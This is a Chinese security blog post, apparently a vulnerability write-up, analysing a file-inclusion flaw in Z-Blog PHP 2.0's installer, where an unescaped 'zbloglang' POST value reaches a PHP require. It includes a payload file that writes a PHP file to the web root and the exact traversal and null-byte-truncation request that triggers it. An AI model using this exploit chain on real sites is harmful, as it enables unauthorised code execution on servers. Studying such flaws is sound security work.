http://www.zblogcn.com/zblogphp/ 下载地址
问题出现在zb_install/index.php中
我还注意看了一下 安装完成后 是写的啥提示
安装结果
创建数据库!zblog
连接数据库并创建数据表!
创建并插入数据成功!
保存设置,编译模板成功!
提示的是这个 并没有提示用户要删除这个目录 而且也不会自动删除这个文件。
所以基本都是存在的。
<?php /** * Z-Blog with PHP * @author * @copyright (C) RainbowSoft Studio * @version 2.0 2013-07-05 */ /** * 安装程序 * @param * @return array */ require '../zb_system/function/c_system_base.php'; require '../zb_system/function/c_system_admin.php'; header('Content-type: text/html; charset=utf-8'); define('bingo','<span class="bingo"></span>'); define('error','<span class="error"></span>'); $zbloglang=&$zbp->option['ZC_BLOG_LANGUAGEPACK']; if(isset($_POST['zbloglang']))$zbloglang=$_POST['zbloglang']; $zbp->LoadLanguage('system','',$zbloglang); $zbp->LoadLanguage('zb_install','zb_install',$zbloglang); $zbp->option['ZC_BLOG_LANGUAGE'] = $zbp->lang ['lang']; $zblogstep=(int)GetVars('step'); if($zblogstep==0)$zblogstep=1; if( ($zbp->option['ZC_DATABASE_TYPE']!=='') && ($zbp->option['ZC_YUN_SITE']=='') ){ $zblogstep=0; }elseif( ($zbp->option['ZC_DATABASE_TYPE']) && ($zbp->option['ZC_YUN_SITE']) ){ if($zbp->Config('system')->CountItem()>0)$zblogstep=0; } ?>
$zbloglang=&$zbp->option['ZC_BLOG_LANGUAGEPACK']; if(isset($_POST['zbloglang']))$zbloglang=$_POST['zbloglang']; $zbp->LoadLanguage('system','',$zbloglang); $zbp->LoadLanguage('zb_install','zb_install',$zbloglang); $zbp->option['ZC_BLOG_LANGUAGE'] = $zbp->lang ['lang'];
其实漏洞就是出现在这里。
因为这段代码是出现在判断是否安装了之前, 所以 就算安装了 我们也可以走到这里。
$zbloglang=&$zbp->option['ZC_BLOG_LANGUAGEPACK']; //首先定义zbloglang if(isset($_POST['zbloglang']))$zbloglang=$_POST['zbloglang'];//如果设置了post的 就用post传递来的做这变量了。 因为zblog防止sql注入都是通过在查询函数的时候 不采用拼接 所以他们也没对post转义 这样是注入少了 但是也造成了这里的漏洞。 $zbp->LoadLanguage('system','',$zbloglang);//跟跟跟 $zbp->LoadLanguage('zb_install','zb_install',$zbloglang); $zbp->option['ZC_BLOG_LANGUAGE'] = $zbp->lang ['lang'];
public function LoadLanguage($type,$id,$default=''){ if($type=='system'){ if($default=='')$default=$this->option['ZC_BLOG_LANGUAGEPACK']; if(is_readable($f=$this->path . 'zb_users/language/' . $default . '.php')){ $this->lang = require($f); $this->langpacklist[]=array($type,$id,$default); return true; } $default='zh-cn'; if(is_readable($f=$this->path . 'zb_users/language/' . $default . '.php')){ $this->lang = require($f); $this->langpacklist[]=array($type,$id,$default); return true; } $default='en'; if(is_readable($f=$this->path . 'zb_users/language/' . $default . '.php')){ $this->lang = require($f); $this->langpacklist[]=array($type,$id,$default); return true; } }elseif($type=='plugin' || $type=='theme'){ if($default=='')$default=$this->option['ZC_BLOG_LANGUAGEPACK']; if(is_readable($f=$this->path . 'zb_users/'.$type.'/'.$id.'/language/' . $default . '.php')){ $this->lang[$id] = require($f); $this->langpacklist[]=array($type,$id,$default); return true; } $default='zh-cn'; if(is_readable($f=$this->path . 'zb_users/'.$type.'/'.$id.'/language/' . $default . '.php')){ $this->lang[$id] = require($f); $this->langpacklist[]=array($type,$id,$default); return true; } $default='en'; if(is_readable($f=$this->path . 'zb_users/'.$type.'/'.$id.'/language/' . $default . '.php')){ $this->lang[$id] = require($f); $this->langpacklist[]=array($type,$id,$default); return true; } }elseif($type!='' && $id!=''){ if($default=='')$default=$this->option['ZC_BLOG_LANGUAGEPACK']; if(is_readable($f=$this->path . $type.'/language/' . $default . '.php')){ $this->lang[$id] = require($f); $this->langpacklist[]=array($type,$id,$default); return true; } $default='zh-cn'; if(is_readable($f=$this->path . $type.'/language/' . $default . '.php')){ $this->lang[$id] = require($f); $this->langpacklist[]=array($type,$id,$default); return true; } $default='en'; if(is_readable($f=$this->path . $type.'/language/' . $default . '.php')){ $this->lang[$id] = require($f); $this->langpacklist[]=array($type,$id,$default); return true; } } }
看这函数就知道了 到处包含,虽然限制了必须为.php后缀的 但是因为没对POST转义 所以我们可以截断后面的.php咯。
大概找了一下 没找到能够上传图片的地方 这里我就自己新建一个jpg了把。 来测试测试就好。
新建一个 yu.jpg
<?php fputs(fopen('testx.php','w'),'<?php phpinfo();?>');
$zbp->LoadLanguage('system','',$zbloglang); $zbp->LoadLanguage('zb_install','zb_install',$zbloglang);
因为他这里load了两个 当满足第一个的时候第二个就不会满足 就会出错。
所以我们直接fputs一个文件就行。
在根目录下。
http://web/small/zblog/zb_install/index.php POST zbloglang=../../yu.jpg%00
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
2022年5月9日 下午5:05 1F
截断好像php5.3后就不能了吧